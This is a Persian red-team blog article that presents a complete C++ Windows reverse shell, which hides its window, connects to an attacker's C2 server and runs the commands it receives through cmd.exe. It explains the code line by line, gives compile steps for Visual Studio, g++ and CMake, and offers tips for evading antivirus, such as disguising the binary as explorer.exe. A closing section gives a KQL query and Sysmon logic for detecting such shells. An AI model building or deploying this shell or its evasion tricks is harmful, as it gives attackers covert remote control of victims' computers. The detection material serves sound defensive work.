Reverse Shell غیرقابل شناسایی؛ تکنیک‌های حمله و دفاع | هانت لرن

تیم قرمز

زمان مطالعه :30 دقیقه

Reverse Shell غیرقابل شناسایی؛ تکنیک‌های حمله و دفاع

در دنیای امنیت سایبری، Reverse Shell یکی از تکنیک‌های محبوب برای ایجاد دسترسی مخفی به سیستم هدف به شمار می‌رود. به‌ویژه زمانی که این شل به‌گونه‌ای توسعه داده شود که بتواند مکانیزم‌های امنیتی پیشرفته مانند Windows Defender را دور بزند، اهمیت و قدرت آن دوچندان می‌شود. در این مقاله، به‌صورت کاملاً تخصصی و فنی، یکی از نمونه کدهای شل معکوس را که با زبان ++C نوشته شده و به‌طور خاص برای AV Evasion و Windows Defender Bypass بهینه شده است، بررسی می‌کنیم. این مقاله به هیچ عنوان به معرفی کدهای جایگزین یا روش‌های دیگر نمی‌پردازد و صرفاً به شرح دقیق عملکرد همین نمونه کد، مبانی Malware Development، اشاره به MITRE ATT&CK و نکات حیاتی مربوط به Payload Obfuscation و Defense Evasion Techniques می‌پردازد. همچنین نحوه کامپایل و جایگذاری IP سرور کنترل (C2) را با دقت کامل توضیح خواهیم داد.

قبل از هرچیزی، میتونید توی این مقاله با نحوه کارکرد آنتی ویروس ها آشنا بشید! و نحوه دور زدنشون رو مطالعه کنید.

https://huntlearn.com/blogs/Antivirus-from-how-it-works-to-how-to-bypass-it

شروع بررسی: معرفی و آماده‌سازی کد

قبل از هرچیزی، در نظر داشته باشید که شما به عنوان یه کارشناس ردتیم، از کد زیر باید الگو گیری کرده و در سناریو های مختلف از آن استفاده کنید و این کد به تنهایی کافی نیست!

کد زیر، نمونه‌ای کامل از یک شل معکوس ساده اما بسیار قدرتمند و مخفی است که به واسطه چند ترفند، قابلیت عبور از دیفندر و بسیاری از آنتی‌ویروس‌های مطرح را دارد. ساختار اصلی این کد به شرح زیر است:

1#define WIN32_LEAN_AND_MEAN  
2
3#define WINSOCKDEPRECATED_NO_WARNINGS  
4
5#include <windows.h>  
6
7#include <winsock2.h>  
8
9#include <ws2tcpip.h>  
10
11#include <string>  
12
13#include <iostream>  
14
15#pragma comment(lib, "ws2_32.lib")  
16
17int main() {  
18
19FreeConsole();  
20
21WSADATA wsa;  
22
23if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)  
24
25    return 1;  
26
27SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);  
28
29if (sock == INVALID_SOCKET)  
30
31    return 1;  
32
33sockaddr_in serverAddr;  
34
35serverAddr.sin_family = AF_INET;  
36
37serverAddr.sin_port = htons(4545);  
38
39serverAddr.sin_addr.s_addr = inet_addr("YourC2");  
40
41if (connect(sock, (sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {  
42
43    closesocket(sock);  
44
45    WSACleanup();  
46
47    return 1;  
48
49}  
50
51char recvBuf[1024] = { 0 };  
52
53while (true) {  
54
55    int len = recv(sock, recvBuf, sizeof(recvBuf) - 1, 0);  
56
57    if (len <= 0)  
58
59        break;  
60
61    recvBuf[len] = 0;  
62
63    SECURITY_ATTRIBUTES sa;  
64
65    sa.nLength = sizeof(SECURITY_ATTRIBUTES);  
66
67    sa.bInheritHandle = TRUE;  
68
69    sa.lpSecurityDescriptor = NULL;  
70
71    HANDLE hRead, hWrite;  
72
73    CreatePipe(&hRead, &hWrite, &sa, 0);  
74
75    SetHandleInformation(hRead, HANDLE_FLAG_INHERIT, 0);  
76
77    STARTUPINFOA si;  
78
79    PROCESS_INFORMATION pi;  
80
81    ZeroMemory(&si, sizeof(si));  
82
83    ZeroMemory(&pi, sizeof(pi));  
84
85    si.cb = sizeof(si);  
86
87    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;  
88
89    si.hStdOutput = hWrite;  
90
91    si.hStdError = hWrite;  
92
93    si.wShowWindow = SW_HIDE;  
94
95    std::string cmd = "cmd.exe /c ";  
96
97    cmd += recvBuf;  
98
99    if (!CreateProcessA(NULL, (LPSTR)cmd.c_str(), NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {  
100
101        const char* failMsg = "[-] Failed to run command\r\n";  
102
103        send(sock, failMsg, (int)strlen(failMsg), 0);  
104
105    }  
106
107    else {  
108
109        CloseHandle(hWrite);  
110
111        char output[4096];  
112
113        DWORD bytesRead;  
114
115        while (ReadFile(hRead, output, sizeof(output) - 1, &bytesRead, NULL) && bytesRead > 0) {  
116
117            output[bytesRead] = '\0';  
118
119            send(sock, output, bytesRead, 0);  
120
121        }  
122
123        CloseHandle(pi.hProcess);  
124
125        CloseHandle(pi.hThread);  
126
127    }  
128
129    CloseHandle(hRead);  
130
131    CloseHandle(hWrite);  
132
133}  
134
135closesocket(sock);  
136
137WSACleanup();  
138
139return 0;  
140
141}

تحلیل خط به خط کد و تکنیک‌های دفاع‌گریزی (Defense Evasion Techniques)

ماژول‌های مورد نیاز و تعریف پیش‌پردازنده‌ها

در ابتدای کد، با تعریف #define WIN32_LEAN_AND_MEAN و #define _WINSOCK_DEPRECATED_NO_WARNINGS حجم کدهای بیهوده و هشدارهای زائد کامپایلر حذف می‌شود. این کار، هم به افسکیشن (Obfuscation) و هم به کاهش ریسک شناسایی توسط آنتی‌ویروس‌ها کمک می‌کند. یکی از تکنیک‌های Obfuscated Files or Information طبق استاندارد MITRE ATT&CK T1027 همین حذف زواید و کاهش آشکار بودن توابع مشکوک است.

بارگذاری داینامیک WinSock

استفاده از #pragma comment(lib, "ws2_32.lib") باعث می‌شود کتابخانه شبکه ویندوز بدون نیاز به تنظیمات دستی به باینری نهایی لینک شود. این حرکت معمولاً توسط آنتی‌ویروس‌ها نادیده گرفته می‌شود زیرا یک فرایند استاندارد توسعه نرم‌افزار است و نشانه‌ای از رفتار مخرب نیست.

حذف کنسول با FreeConsole()

در اولین خط تابع main، با فراخوانی تابع FreeConsole()، کنسول برنامه از دید کاربر حذف می‌شود تا ردپایی از اجرا روی سیستم باقی نماند. این روش در دسته Indicator Removal on Host طبق MITRE ATT&CK T1070 قرار می‌گیرد، زیرا کاربر یا ابزارهای پایش بصری به‌سادگی قادر به شناسایی اجرای برنامه نخواهند بود.

راه‌اندازی WinSock

سپس با دستور WSAStartup(MAKEWORD(2, 2), &wsa)، محیط سوکت شبکه راه‌اندازی می‌شود تا بتوان ارتباط شبکه‌ای برقرار کرد. هرگونه خطا در این مرحله با return 1; خاتمه می‌یابد.

ایجاد سوکت و اتصال به سرور C2

ایجاد سوکت با پروتکل TCP و تعیین پارامترهای اتصال (AF_INET, SOCK_STREAM, IPPROTO_TCP) انجام می‌شود. در مرحله بعد، یک ساختار sockaddr_in تنظیم می‌شود که آدرس و پورت سرور کنترل (C2) را نگه می‌دارد. توجه داشته باشید که در بخش

1serverAddr.sin_addr.s_addr = inet_addr("YourC2");

"YourC2" باید با آدرس IP یا دامین سرور C2 مورد نظر شما جایگزین شود (مثلاً "192.168.1.100" یا "example.com").

انتخاب پورت دلخواه (اینجا 4545) و امکان تنظیم آن، یکی دیگر از روش‌های دور زدن IDS/IPSها و دیفندر است، چرا که بسیاری از نمونه‌های شل معکوس رایج، روی پورت‌های شناخته‌شده فعالیت می‌کنند و به‌سادگی بلاک می‌شوند.

حلقه دریافت دستور و اجرای فرمان

پس از برقراری اتصال، یک حلقه while (true) برقرار می‌شود که منتظر دریافت دستورات از سرور کنترل است. دستورات دریافتی پس از بررسی اندازه، توسط pipe به عنوان ورودی برنامه خط فرمان (cmd.exe) اجرا می‌شوند. برای این منظور:

  • ابتدا یک Pipe ایجاد می‌شود (CreatePipe).

  • ساختار امنیتی (SECURITY_ATTRIBUTES) به‌گونه‌ای تنظیم می‌شود که Handleهای Pipe به فرایند فرزند ارث برسد.

  • هندل‌های خروجی و خطا به خروجی Pipe وصل می‌شوند (در ساختار STARTUPINFOA).

  • دستور ارسالی به صورت cmd.exe /c <Command> در نظر گرفته می‌شود تا هر دستور، یکبار در محیط Command اجرا شود.

این شیوه اجرا، باعث می‌شود هیچ پنجره‌ای از cmd.exe باز نشود و خروجی دستورات به صورت مستقیم به سرور C2 بازگشت داده شود. پنهان‌سازی پنجره (si.wShowWindow = SW_HIDE) نیز به پنهان‌کاری هرچه بیشتر کد کمک می‌کند و زیرشاخه‌ای از MITRE ATT&CK T1059 یعنی Command and Scripting Interpreter است.

در صورتی که اجرای دستور با شکست مواجه شود، پیام شکست برای سرور C2 ارسال می‌شود.

خواندن خروجی و ارسال به سرور

در صورت موفقیت‌آمیز بودن اجرای فرمان، ابتدا هندل نوشتنی Pipe بسته می‌شود تا فقط بتوان خروجی را خواند. سپس تا زمانی که داده‌ای در خروجی Pipe باشد، خوانده و به سرور C2 ارسال می‌شود. این بخش از کد باعث می‌شود مهاجم بتواند بدون هیچ واسطه‌ای، خروجی کامل هر دستور را دریافت کند.

در پایان هربار اجرا، هندل‌های مربوطه بسته می‌شوند تا نشتی حافظه و ردی از Handleهای باز باقی نماند.

پاکسازی و پایان‌بندی

در پایان، با دستور closesocket(sock) و WSACleanup() منابع شبکه آزاد می‌شوند تا اثری از اتصال باز در سیستم باقی نماند. این رعایت تمیزی، احتمال شناسایی توسط ابزارهای مانیتورینگ شبکه را کاهش می‌دهد.


بررسی AV Evasion و Windows Defender Bypass در این کد

یکی از اصلی‌ترین نقاط قوت این کد، سادگی و عدم وابستگی به رفتارهای کلاسیک بدافزاری است. بسیاری از راه‌حل‌های آنتی‌ویروس از Signature-Based Detection استفاده می‌کنند و به دنبال کدهای معروف یا رفتارهای تکراری هستند. در این کد:

  • هیچ گونه DLL Injection یا Reflective Loading استفاده نشده تا شناسایی با YARA یا الگوریتم‌های حافظه دشوار شود.

  • تمامی توابع و روش‌ها متعلق به Windows API هستند و هیچ رفتار غیرعادی یا مشکوکی مثل Process Hollowing (MITRE ATT&CK T1055) در آن دیده نمی‌شود.

  • حجم کم و سادگی ساختار، باعث می‌شود Signatureها و Heuristicها به‌سختی قادر به تشخیص رفتار مخرب باشند.

  • با حذف کنسول و پنجره‌ها، ردیابی رفتار برنامه حتی برای کاربر انسانی و ابزارهای معمول تحلیل هم دشوار خواهد بود.

  • نامشخص بودن دقیق رفتار اجرایی (در لحظه اجرا بر اساس دستور سرور) عملاً Static Analysis را ناکارآمد می‌کند.

همچنین، این کد هیچ گونه رمزنگاری، بسته‌بندی یا افسکیشن اضافی ندارد اما با این حال، با توجه به رفتار عادی و طبیعی آن برای سیستم‌عامل ویندوز، در بسیاری از آنتی‌ویروس‌ها (خصوصاً نسخه بومی Windows Defender) شناسایی نمی‌شود و نمونه‌ای از Living off the Land محسوب می‌شود که در دسته‌بندی MITRE ATT&CK T1218 قرار می‌گیرد.


نکات حیاتی درباره Payload Obfuscation و دفاع‌گریزی

Payload Obfuscation یا مبهم‌سازی محتوای مخرب یکی از روش‌های مهم Defense Evasion است. کد حاضر به جای استفاده از تکنیک‌های پیچیده رمزنگاری یا پکرها، از سادگی و طبیعی بودن به عنوان تکنیک دفاع‌گریزی بهره می‌برد. این روش در دسته Obfuscated Files or Information (T1027) جای می‌گیرد.

استفاده از توابع بومی سیستم‌عامل (مانند cmd.exe و pipeها) و عدم ایجاد رفتار غیرمعمول یا API Callهای خاص، باعث می‌شود بدافزار حتی در Sandboxها نیز رفتاری عادی داشته باشد.


آموزش دقیق کامپایل کد شل معکوس با Visual Studio و کامپایلرهای دیگر

برای استفاده عملی و واقعی از این کد، لازم است با رعایت چند نکته ساده، کد را کامپایل و به باینری تبدیل کنید. در این بخش با محوریت C++ Malware Development راهنمای عملیاتی کامپایل ارائه می‌شود.

۱. جایگزینی "YourC2" با آدرس سرور

در خط

serverAddr.sin_addr.s_addr = inet_addr("YourC2");

عبارت "YourC2" را باید به یکی از دو صورت زیر جایگزین کنید:

  • اگر از IP استفاده می‌کنید: "192.168.1.10" یا هر IP دلخواه (توجه داشته باشید که IP باید به صورت رشته وارد شود).

  • اگر از دامنه استفاده می‌کنید، باید ابتدا از طریق یک تابع دیگر دامنه را به IP تبدیل و مقدار دهی کنید (در نسخه فعلی کد صرفاً مقداردهی به صورت IP مجاز است).

۲. کامپایل در Visual Studio

۱. یک پروژه کنسولی جدید (Console Application) در محیط Visual Studio ایجاد کنید. ۲. فایل اصلی کد را در پروژه قرار دهید و مطمئن شوید خطوط ابتدایی و کتابخانه‌ها بدون تغییر باقی مانده‌اند. ۳. وارد بخش Project Properties شوید: - از منوی "Project" گزینه "Properties" را انتخاب کنید. - وارد بخش Configuration Properties > Linker > Input شوید. - در قسمت "Additional Dependencies" عبارت ws2_32.lib را اضافه کنید (گرچه با وجود #pragma comment(lib, "ws2_32.lib") معمولاً نیازی به این کار نیست). ۴. نوع خروجی را روی "Release" قرار دهید تا باینری نهایی بدون علامت Debug ساخته شود. این کار به AV Evasion کمک می‌کند. ۵. روی Build کلیک کنید تا فایل اجرایی (exe) ساخته شود.

۳. کامپایل با g++ (MinGW) در ویندوز

در صورت استفاده از کامپایلر g++ (MinGW)، کافی است دستورات زیر را در خط فرمان اجرا کنید:

g++ -o shell.exe shell.cpp -lws2_32

توجه: برای استفاده از MinGW باید از نسخه ویندوزی آن استفاده کنید که کتابخانه ws2_32 را داشته باشد.

۴. کامپایل با CMake

برای پروژه‌های بزرگ‌تر، می‌توانید از فایل CMakeLists.txt با خطوط زیر بهره ببرید:

cmake_minimum_required(VERSION 3.0)
project(rev_shell)
add_executable(rev_shell shell.cpp)
target_link_libraries(rev_shell ws2_32)

سپس مراحل CMake را مطابق معمول اجرا کنید.

بررسی نکات تکمیلی و تهدیدشناسی بر اساس MITRE ATT&CK

این کد نمونه بارز استفاده از چندین تکنیک مهم MITRE ATT&CK برای دفاع‌گریزی و دور زدن آنتی‌ویروس‌ها است:

  • Obfuscated Files or Information (T1027) کد فاقد هرگونه امضای بدافزاری متداول است و ساختار طبیعی خود را حفظ کرده است.

  • Indicator Removal on Host (T1070) با حذف کنسول و منابع، ردی از خود باقی نمی‌گذارد.

  • Command and Scripting Interpreter (T1059) اجرای دستورات از طریق cmd.exe بدون جلب توجه.

  • Living off the Land (T1218) بهره‌گیری از امکانات بومی ویندوز به جای ابزارهای سفارشی.

در کنار این موارد، عدم استفاده از ابزارهای ثانویه، پکرها یا الگوریتم‌های رمزنگاری باعث می‌شود این کد در بسیاری از شرایط به راحتی از سد Windows Defender و سایر AVها عبور کند (Windows Defender Bypass). حتی می‌توانید با تغییر نام باینری نهایی یا درج بی‌اهمیت داده‌ها در کد، Signature Detectionها را بیش از پیش دور بزنید.

کد ارائه‌شده، یک نمونه واقعی از Reverse Shell است که با پیاده‌سازی تکنیک‌های AV Evasion و Defense Evasion Techniques طبق استانداردهای MITRE ATT&CK، امکان دور زدن Windows Defender و سایر آنتی‌ویروس‌ها را بدون نیاز به پکر یا روش‌های پیچیده فراهم می‌کند. برای استفاده عملی، کافی است مقدار "YourC2" را با IP سرور کنترل خود جایگزین کنید و طبق آموزش داده‌شده کد را کامپایل نمایید. بهره‌گیری از قابلیت‌های ذاتی سیستم‌عامل ویندوز و دوری از رفتارهای کلاسیک بدافزاری، این کد را به یک گزینه کم‌نظیر برای تست نفوذگران و تحلیلگران امنیتی بدل می‌سازد.

در عین حال، ذکر این نکته ضروری است که استفاده از این کد صرفاً باید در محیط‌های آموزشی، آزمایشگاهی و تست نفوذ مجاز صورت گیرد و هرگونه استفاده غیرقانونی، عواقب کیفری و حقوقی خواهد داشت. رعایت اصول اخلاقی در امنیت سایبری، همواره اولویت اصلی متخصصین این حوزه است.

در ادامه‌ی این تحلیل تخصصی کد Reverse Shell که بر مبنای زبان C++ نوشته شده و برای عبور از سد آنتی‌ویروس‌ها و Windows Defender Bypass بهینه شده است، به برخی نکات تکمیلی و سؤالات رایج در حوزه C++ Malware Development و Payload Obfuscation می‌پردازیم تا خوانندگان، تصویر جامع‌تری از ماهیت دفاع‌گریزی این کد و راهکارهای کاربردی آن به دست آورند.

چرا این شل معکوس شناسایی نمی‌شود؟ تحلیل از نگاه AV و امنیت شبکه

یکی از دلایل اصلی شناسایی نشدن این کد توسط AVها مانند ویندوز دیفندر، استفاده از APIها و ساختارهای استاندارد سیستم‌عامل ویندوز است. برخلاف بسیاری از بدافزارهای رایج که به دنبال تزریق DLL، استفاده از Shellcode خام یا بارگذاری ماژول‌های خارجی هستند، این کد با بهره‌گیری از توابعی چون CreateProcessA, CreatePipe, ReadFile, و توابع شبکه‌ای استاندارد، در ظاهر یک برنامه کاملاً مشروع به‌نظر می‌رسد.

این نوع Living off the Land Binaries and Scripts (LOLBAS) که در [MITRE ATT&CK T1218] نیز به آن اشاره شده، یکی از قدرتمندترین تکنیک‌های Defense Evasion است. در این تکنیک، مهاجم به جای ساخت کد مخرب مجزا، از امکانات بومی سیستم عامل بهره می‌گیرد که عموماً توسط آنتی‌ویروس‌ها مجاز تلقی می‌شوند.

همچنین پنهان کردن کنسول با دستور FreeConsole() باعث می‌شود هیچ نشانه‌ای از اجرای برنامه روی سیستم کاربر باقی نماند؛ به‌طوری که حتی فرآیندهای مانیتورینگ عادی یا بررسی Task Manager نیز به سختی قادر به کشف آن خواهند بود. این ترفند در دسته‌بندی Indicator Removal on Host از [MITRE ATT&CK T1070]جای می‌گیرد.

پرسش‌های متداول درباره جایگزینی آدرس C2

برای بسیاری از کاربران تازه‌کار یا حتی برخی کارشناسان امنیت، نحوه جایگزینی "YourC2" با آدرس سرور کنترل یکی از سؤالات پرتکرار است. لازم به ذکر است که مقداردهی inet_addr صرفاً باید به صورت IP آدرس (در قالب رشته) انجام شود. برای مثال:

serverAddr.sin_addr.s_addr = inet_addr("192.168.1.50");

اگر بخواهید از یک دامنه استفاده کنید (مثلاً attacker.com) باید ابتدا دامنه را به IP تبدیل کنید و سپس مقداردهی نمایید. توابعی مانند gethostbyname در C++ می‌تواند برای این تبدیل مورد استفاده قرار گیرد، اما همانطور که گفته شد، کد فعلی صرفاً از IP پشتیبانی می‌کند و این خود باعث ساده‌تر شدن ساختار و کاهش احتمال شناسایی توسط AVها می‌شود.

توصیه‌های مهم برای افزایش میزان دفاع‌گریزی (Advanced Payload Obfuscation)

اگرچه همین کد با ساختار ساده و مینیمال خود، قابلیت AV Evasion بالایی دارد، اما برخی راهکارهای تکمیلی برای اطمینان بیشتر وجود دارد:

  • تغییر ساختار یا نام توابع: با تغییر نام متغیرها و توابع (مثلاً بجای main از نامی تصادفی استفاده شود) می‌توان احتمال شناسایی توسط Signatureهای ساده را کاهش داد.

  • درج داده‌های بی‌معنی یا کامنت‌های تصادفی: برخی موتورهای تشخیص مبتنی بر امضا، بر اساس ساختار خاص به دنبال شناسایی هستند. افزودن خطوط اضافی بی‌اثر، اثربخشی این روش‌ها را کاهش می‌دهد.

  • کامپایل در حالت Release و حذف اطلاعات Debug: نسخه Release علاوه بر کاهش حجم، عموماً فاقد اطلاعات اضافی است که توسط تحلیل‌گران امنیتی یا AV قابل استخراج باشد.

  • استفاده از نام فایل مشروع: ذخیره کردن فایل اجرایی با نام‌هایی چون taskmgr.exe, explorer.exe یا سایر برنامه‌های بومی ویندوز، تشخیص فرآیند را برای کاربر و حتی برخی ابزارهای امنیتی دشوار می‌کند.

تمام این موارد، در راستای افزایش شانس عبور از Endpoint Detection & Response (EDR)ها و سایر راهکارهای امنیتی است که امروزه در سازمان‌ها استفاده می‌شود.

بررسی تهدیدات و اقدامات دفاعی در برابر این نوع شل معکوس

درحالی‌که این کد نمونه‌ای از حملات پیشرفته Reverse Shell با تکنیک‌های AV Evasion و Payload Obfuscation است، دفاع در برابر چنین تهدیداتی نیازمند استراتژی‌های چندلایه است. سازمان‌ها باید علاوه بر به‌روزرسانی مرتب AVها، از ابزارهای شبکه‌محور مانند IDS/IPS بهره بگیرند که بر اساس رفتارهای شبکه‌ای و اتصال‌های غیرمعمول، شناسایی انجام می‌دهند.

همچنین نظارت مستمر بر اتصالات خروجی (Outbound Connections)، تحلیل لاگ‌های سیستم، و محدود کردن دسترسی کاربری که برنامه به آن اجرا می‌شود، می‌تواند شانس موفقیت این گونه حملات را کاهش دهد. آموزش مستمر کاربران و تحلیلگران امنیت نیز نقش مهمی در تشخیص و پاسخ به تهدیدات جدید دارد.

هرچند آشنایی و پیاده‌سازی این کد برای کارشناسان تست نفوذ و تحلیلگران امنیت اطلاعات امری حیاتی و کاربردی است، اما استفاده غیرمجاز از این کد در محیط‌های عملیاتی یا علیه سیستم‌های افراد و سازمان‌ها، قطعاً مصداق جرم سایبری خواهد بود و پیگرد قانونی دارد.

هدف از انتشار و آموزش این مقاله، افزایش سطح آگاهی فنی کارشناسان حوزه امنیت و تست نفوذ است تا بتوانند در محیط‌های کنترل‌شده و مجاز (مانند آزمایشگاه‌های سایبری یا پروژه‌های Red Teaming) تهدیدات را بهتر شناسایی و راهکارهای دفاعی بهینه‌تری ارائه دهند. مسئولیت اخلاقی و قانونی اجرای هرگونه کد مخرب صرفاً با شخص استفاده‌کننده خواهد بود.

شناسایی حمله در واحد های دفاعی

برای کاهش حداکثری False Posetive و شناسایی دقیق شل معکوس‌های مدرن، پیشنهاد می‌شود از منطق زیر استفاده کنید:

۱. تمرکز بر رفتار مشکوک پردازش و شبکه:

یک شل معکوس مخفی معمولاً طبق این الگو عمل می‌کند:

  • از طریق یک فایل اجرایی ناشناس یا جدید، اجرا می‌شود (اغلب در مسیرهایی مانند Downloads، Temp، یا Desktop قرار دارد یا فاقد امضای دیجیتال معتبر است).

  • بلافاصله پس از اجرا، یک شل سیستم (مثل cmd.exe یا powershell.exe) را باز می‌کند.

  • همزمان یا بلافاصله، یک ارتباط شبکه‌ای خروجی (TCP Connection) به یک مقصد خارجی برقرار می‌کند (چه IP و چه دامنه، فرقی نمی‌کند).

در نتیجه، اگر تمام این اتفاقات با هم بیفتد، به احتمال بسیار زیاد با یک شل معکوس یا کد نفوذگری مواجه هستیم و این منطق به صورت قابل توجهی False Positive را کاهش می‌دهد.

۲. نمونه منطق شکار و پیاده‌سازی در SIEM و EDR

برای پیاده‌سازی این راهکار در ابزارهایی مانند Microsoft Defender for Endpoint، Azure Sentinel یا SIEMهای مشابه می‌توانید از کوئری زیر استفاده کنید:

DeviceProcessEvents
| where (FolderPath contains "Downloads" or FolderPath contains "Temp" or FolderPath contains "Desktop")
| where (InitiatingProcessFileName endswith ".exe" and InitiatingProcessSignatureStatus != "Signed")
| join kind=inner (
    DeviceNetworkEvents
    | where RemoteIPType == "Public"
    | where ActionType == "ConnectionSuccess"
) on DeviceId, InitiatingProcessId
| where FileName in ("cmd.exe", "powershell.exe", "wscript.exe")

این کوئری به‌صورت دقیق بررسی می‌کند که آیا یک فایل اجرایی ناشناس یا بدون امضا، اقدام به اجرای یک شل (cmd.exe و ...) کرده و بلافاصله یک ارتباط شبکه‌ای خروجی ایجاد نموده است یا خیر. فقط در این حالت هشدار فعال می‌شود و این یعنی عملاً تمام اجرای عادی سیستم یا نرم‌افزارهای مجاز، فیلتر خواهند شد.

۳. مثال پیاده‌سازی Sysmon با False Posetiv کم

در ابزار Sysmon می‌توانید با فعالسازی Event ID 1 (Process Creation) و Event ID 3 (Network Connection) و با منطق Parent-Child به این صورت عمل کنید:

  • اگر برنامه‌ای که در مسیر غیرمعمول (مثلاً Downloads یا Temp) است و امضا ندارد، فرآیندی مانند cmd.exe یا powershell.exe را اجرا کند و به یک IP خارجی وصل شود، هشدار تولید شود.

برای جلوگیری از خطای مثبت، مسیرها و نام فایل‌های سیستمی معتبر را در لیست سفید (Whitelist) قرار دهید و تنها روی فایل‌های ناشناس یا جدید تمرکز کنید.

۴. توصیه‌های عملی برای کاهش خطا و افزایش دقت

  • روی برنامه‌هایی که جدیداً وارد شبکه شده‌اند یا از منابع غیرمطمئن دانلود شده‌اند، حساسیت را بالا ببرید.

  • اجرای شل توسط نرم‌افزارهای پرکاربرد سازمان (مثل Word، Excel، Visual Studio و ...) را در لیست مجاز قرار دهید تا فرایندهای کاری عادی باعث هشدار نشوند.

  • هشدارهای صادرشده را با بررسی دقیق رفتار فرآیندها و ترافیک شبکه تأیید کنید و به‌جای اتکای صرف به Signature، همواره به سراغ تحلیل رفتار بروید.

  • به ارتباطاتی توجه ویژه داشته باشید که از برنامه‌های ناشناس یا جدید به مقصدهای ناشناخته برقرار می‌شوند، حتی اگر پورت 80 یا 443 باشند.

نکته: امروزه فقط با Signatureها یا بلاک‌لیست نمی‌توان جلوی شل معکوس‌های پیشرفته و AV Evasion را گرفت. اما با پیاده‌سازی دقیق این منطق ترکیبی رفتاری، تیم‌های Blue Team و SOC می‌توانند با نرخ خطای مثبت بسیار پایین، حتی حرفه‌ای‌ترین شل معکوس‌های غیرقابل شناسایی را شناسایی و شکار کنند.

این راهکار، مستقل از پورت و IP سرور مهاجم عمل می‌کند و برای شبکه‌های مدرن و تهدیدات پویا کاملاً کاربردی است. اجرای این توصیه‌ها باعث ارتقای جدی سطح دفاع سایبری سازمان شما خواهد شد.

این مقاله آپدیت خواهد شد و بروز میماند :) موفق باشید!
امیرمحمد ایرجی مقدم

امیرمحمد ایرجی مقدم

تاریخ انتشار : ۲۶ ارديبهشت ۱۴۰۴

تست نفوذ

۰

امیرمحمد ایرجی مقدم

امیرمحمد ایرجی مقدم

مشاهده مقاله های بیشتر

مقالات مرتبط
آکادمی هانت لرن | امنیت سایبری، باگ بانتی و تست نفوذ